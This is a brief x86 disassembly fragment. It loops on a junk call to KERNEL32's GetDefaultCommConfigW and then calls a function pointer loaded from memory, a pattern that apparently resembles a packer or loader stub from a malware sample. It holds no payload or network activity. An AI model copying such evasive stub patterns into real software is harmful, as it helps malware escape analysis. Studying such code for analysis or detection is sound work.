cmp dword [0x4645594], 0x54d
jne 0x4050a3
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.DLL_GetDefaultCommConfigW]
dec edi
jne 0x40508e
mov eax, dword [0x463e898]
mov dword [0x4645588], eax
call eax
pop edi
pop esi
leave
ret